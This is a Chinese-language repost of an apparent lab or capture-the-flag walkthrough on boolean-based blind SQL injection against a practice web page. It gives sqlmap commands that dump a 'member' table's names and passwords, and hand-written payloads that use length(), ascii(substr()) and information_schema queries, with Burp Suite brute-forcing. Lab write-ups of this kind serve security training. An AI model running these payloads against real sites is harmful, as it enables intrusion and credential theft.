栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

SQL注入漏洞测试(布尔盲注)

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

SQL注入漏洞测试(布尔盲注)

一.sqlmap
1.查看库名
python sqlmap.py -u http://219.153.49.228:44485/new_list.php?id=1 --dbs

2.查看表名 python sqlmap.py -u http://219.153.49.228:44485/new_list.php?id=1 -D stormgroup --tables

3.查看字段名 python sqlmap.py -u http://219.153.49.228:44485/new_list.php?id=1 -D stormgroup -T member --columns

4.查看内容 python sqlmap.py -u http://219.153.49.228:44485/new_list.php?id=1 -D stormgroup -T member -C “name,password” --dump

二.手注
1.测试后发现数据库是4个字段


2.发现没有回显,使用布尔盲注

3.判断库的长度(通过测试后发现等于10) ?id=1 and (select length(database()))=10


4.确定库名 stormgroup(测试后发现第一个字母是s)id=1 and (select ascii(substr(database(),1,1)))=115



也可使用burpsuite爆破,同样可以知道第一个字母,为了方便,接着用bp爆破剩下的9个字母


第二个字母是t


o

r

m

g

r

o

u

p

5.接下来是判断表的数量(通过判断后表的数量为2) ?id=1 and (select count(*) from information_schema.tables where table_schema=database())=2


6.接下来还是bp爆破表的名称
id=1 and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1)=0

同样步骤,可以得出 101,109,98,101,114 表名为member

7.查字段名长度(测试后发现是4,8,6)
http://219.153.49.228:48841/new_list.php?id=1 and length((select column_name from information_schema.columns where table_name=‘member’ and table_schema=‘stormgroup’ limit 0,1))=0

8.查字段名 (name password status)
?id=1 and ascii(substr((select column_name from information_schema.columns where table_name=‘member’ and table_schema=‘stormgroup’ limit 0,1),1,1))=0

9.查字段内容
?id=1 and ascii(substr((select concat(name) from stormgroup.member limit 1,1),1,1))=109
之后主要还是要靠大家慢慢注,可能比较费时间

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/618998.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号